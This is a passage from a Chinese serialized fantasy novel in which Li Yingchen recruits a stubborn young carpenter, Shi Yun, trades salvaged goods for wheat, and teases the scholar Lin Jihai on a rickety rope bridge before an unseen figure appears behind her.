手柄这种工业流线上轻松易得的小垃圾,在这样一个没有角磨机、没有弹簧的原始时代,是一座几乎难以翻越的大山。 小木匠苦笑:“如果师傅还在,这东西或许有能修成的可能,可是现在……” 村里原本的木匠是看粮仓的史老爷子的独子,前些月跟着白成峰去探访昆仑宫,再也没有回来过。 如今留在村里的木匠,只有他的两个年轻徒弟。平日里也就打打柜子,削削木柄,对于这样精细的活计,实在无能为力。 “仙人,我们也想帮忙。”他们对黎应晨苦笑,“但这是不可能的呀。” 正在黎应晨发愁的时候,从里屋传来了一个清脆的声音:“我来。” 众人抬头看去,只见一个年轻姑娘掀开门帘,拿着图纸径直走来。她约莫十五六岁,身量短小,眉眼英气,穿着一身暗红色半脏的粗布短打,身上沾着些许乌黑的油泥。 “我看过了,不是不可能。给我几根针操用,我来试试。” 是史木匠的二女儿,史耘。 史木匠这个女儿一直是糙养的,母亲死的早,老史就把她带在身边,教学,做活儿,寸步不离身,会走路就会给他打下手。但木匠这种活计从前是从没有女人干的道理,大家都只把她当个帮工。 史耘个子矮,脾气很倔,讲话总是缺根弦,出了名的不好相处。平日里只一直待在自己的房间里做自己的工,出来说话时,没几句就要惹人上火。因此从未有村人委托她做些什么,也没人知道她的水平如何。 黎应晨问:“你有把握吗?” 史耘毫不客气地说:“没有。但可以试试。世界上哪有一定成功的尝试?你是仙人,你不也连我们能活几个都不敢保证吗?” “说什么呢!”两个哥哥吓得,连忙来捂她嘴。 …真是既不吉利也不礼貌! 黎应晨却大笑起来,觉得她说的很对。当场给她批了十根针,让她不必去参与村里的防事建设,能把这玩意儿弄出来,就是个绝大的贡献了。 更晚些时候,黎应晨指了路,托村里分一队青壮,去把自己来时车队留存的物资都搬回来,将那些曾经随行的家丁马夫侍女等人一并入土为安,自己去拜了两拜。尤其是那个侍女。虽然此生无缘无分,但是她手里拿的邪祟志是结结实实地救了黎应晨一命。 若没有那邪祟志,她早已死在姜堰手下。 搬回来的一车首饰,因为过于贵重也不晓得价格,黎应晨就先塞在房里压箱底了。至于食水、茶叶等物,黎应晨留下一部分自用,剩下的低价在村里发卖了,就以小麦来换。因为品质好,还都是些稀罕玩意儿,人人争相抢购。黎应晨最终拿到了1000斤小麦的收入,剩余的收入点共计一万来点。 值得一提的是,这堆东西刚运回来,林济海就以一种激动到六亲不认的姿态冲了上去,如风一般卷过黎应晨面前,扑在那两车书上就不撒手了。黎应晨不得不生生把他从车上扯下来,才能好好谈价格。她报了一个不高不低的价格,林济海毫不犹豫地一口答应。黎应晨怀疑他根本没仔细听。 ……什么书简脑袋。 林济海把书买下来,珍而重之地好好放到了自己的书房里,却没有什么时间看。村长婆婆年事已高,威望高,但精力不济,村里什么什么都指望着他。他只得万般不舍地与那些书暂时告别。 ……据说离别时哭得梨花带雨,相当动人。 黎应晨想要再往远处走走,看看周边深林悬崖的具体情况,便也拖了林济海来做向导。 这一次,他们走的稍微远了一些。 黎应晨问他:“我一直未曾问过。你们说白成峰带许多人去找了昆仑宫,昆仑宫到底在哪里?” 出人意料地,林济海指指北面那悬崖绝壁:“在那上面。” 黑凤山的地形很有特色,从山下的缓坡可以沿路爬到山腰中间,来到黑凤村所处的一片平地。但是再往上爬,却是非常非常困难的。悬崖绝壁几乎垂直而下,只能看见嶙峋的石山一路耸进云里去。 没有人知道黑凤山到底有多高。 而昆仑宫,据传就在那凌云的山顶之上。 “这么能爬?!”黎应晨诧异。 林济海说:“山民已经习惯了。我们不常爬北面的绝壁,却经常下到东面的悬崖里,在峭壁上采些草药、山珍等。白成峰去的时候带的三十个人,个个是此道好手。直至现在,也没有一个人坠落下来。只是……” 只是爬上去了,就再不知道他们去哪了。从此再没回来过。 说话之间,二人已经走到了东面的悬崖处。黎应晨向下望去,只见茫茫深渊,云雾缭绕,下面漆黑一片,如一张漆黑巨口,吞没一切可见之物。唯有峡间的风声,裹着不远处一架长长的旧木吊桥,一路吊垂着通往悬崖的彼方,隐没在云雾之中。在此间说话,能听见遥遥传来的回音。 “这下面是哪里?”黎应晨问。 “不清楚。这地方是个深坑,四面皆是悬崖,绕不下去。我们最长的绳子也无法坠底。摔下去的人十死无生,没有再活着回来过的。”林济海说。 黎应晨微微皱眉。 这不对劲。在此地生活几十代人的山民,对这座山应当了若指掌,怎么却有如此多的未解之谜。 就好像……这座山本身就是一个不可知的深渊。 黎应晨把目光移向了面前的吊桥。 吊桥年代已久了。两根粗大的木桩深深地插进土地中,每一寸模糊的年轮都刻着岁月的痕迹。斑驳的旧木片被麻绳拴着,吊在半空中,在风中微微摇晃着,一路伸进云雾里去。站在桥上,可攀附的地方,就只有两根小臂粗的麻绳。 一不留神,半只脚踏错,就会摔进不见底的深渊之中。 黎应晨忍不住问:“这桥……通向哪里?” 林济海说:“过了这桥,再行几里山路,可以绕到黑凤山的背面去。那边有一个村子,全村姓姜。我们这边都叫那里姜家村。” 黎应晨猛地抬头:“你们对姜家村了解多少?” 林济海脸色不太好看:“姜家村做的是死人生意,总是神神叨叨的。只是掐着庙会、赶集等时间,会以仙器来贸些粮食。我们和那边来往并不多,尤其是在血幕爆发后,再也没有任何联络了。” 死人生意吗……姜堰曾经说她们村子做的是黑蚕纺丝相关的产业,而这黑蚕纺的绸缎能沟通阴阳,说是死人生意倒也没错。 “这桥也是他们那边修造的。听说它是姜家村下山的唯一通路。已有几百年历史了。” 荒山孤岛吗?黎应晨微微挑眉:“那这座桥修造之前,姜家 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行至吊桥中间,晃的人已经几乎走不动路,只能扶着绳子一点一点挪。云雾缭绕,也已经看不见来时的路了。向下一望,只见那深山穷谷,不测之渊。 黎应晨握着麻绳蹲下身,摸摸脚下的木片:“小林啊,姜家村那边多久会来修一次桥?” “我、我不知道……” 回应的声音在发抖。 黎应晨一愣,回过头去。 这几天来,林济海一直是从容的指挥官,村人们的主心骨。黎应晨早已经习惯他站在台上运筹调度的样子了。但此刻,只见这位一向彬彬有礼游刃有余的读书人,像是受惊的小动物一样,死死地扒着吊桥,看起来腿都在打颤。 但是即便如此,他还是艰难的深呼吸着,努力回答了黎应晨的问题,知无不言,言无不尽: “我…我们从没见过那边来修,一次也没有。我们不常走。但这桥好像也从未……!…呃,损坏过……” 山风吹来,吊桥微晃,林济海的声音猛地紧张了一下,又慢慢地弱下来。 黎应晨笑的眉眼弯弯。 他好像畏高耶。 哎呀,怎么回事,有点好玩。 “那说不定很久没修了啊。”她故作担忧地摸摸脚下的木片,“这里水汽这么大,应当腐蚀的很快,说不定哪一脚上去就会碎了啊……这可麻烦了。” “是,是的……” 林济海的脸更白了。 黎应晨突然脸色一变,指着脚下的悬崖说: “等等,你看,那是什么?” 明知道不能看,林济海还是没控制住,往下扫了一眼,但见云山雾罩之间深不见底,腿一下就软了半分。 他何等聪明的人,立马看出来黎应晨在逗他,崩溃道:“黎小姐!!” 只是此倒霉腐儒不幸竟是个真君子,半辈子没怎么骂过人,搜肠刮肚也就叫出来一句气急败坏的尊称。 黎应晨:“哎嘿。” 黎应晨站起来,快乐地回过头,拍拍林济海的肩膀。自觉不安感大大降低。 “放心,我在这呢,肯定能好好地把你带回去的。” 老毛病了,在有人需要自己保护或者比自己更弱的时候,她能爆发出很多很多快乐的坏心眼,和没来由的勇气。连带着保护欲和莫名其妙的责任感一起冒出来。 简称人来疯。 林济海欲哭无泪。 “黎……黎小姐……” 黎应晨回过头,发现他的脸色白得像纸,结结巴巴地比划:“黎…黎小姐……那里……” 黎应晨笑着拍拍他:“这招我用过了哦。哎,别生气嘛,给你赔个不是……” “不是……不是!黎小姐!” 林济海满脸都是冷汗,看起来快急疯了,一把抓住黎应晨,可算把舌头捋顺了: “你背后!你背后有人!” 话音未落,周围阴风骤起呼啸,吊桥突然剧烈的晃动起来,黎应晨猝不及防,没有抓住,一下脱了手!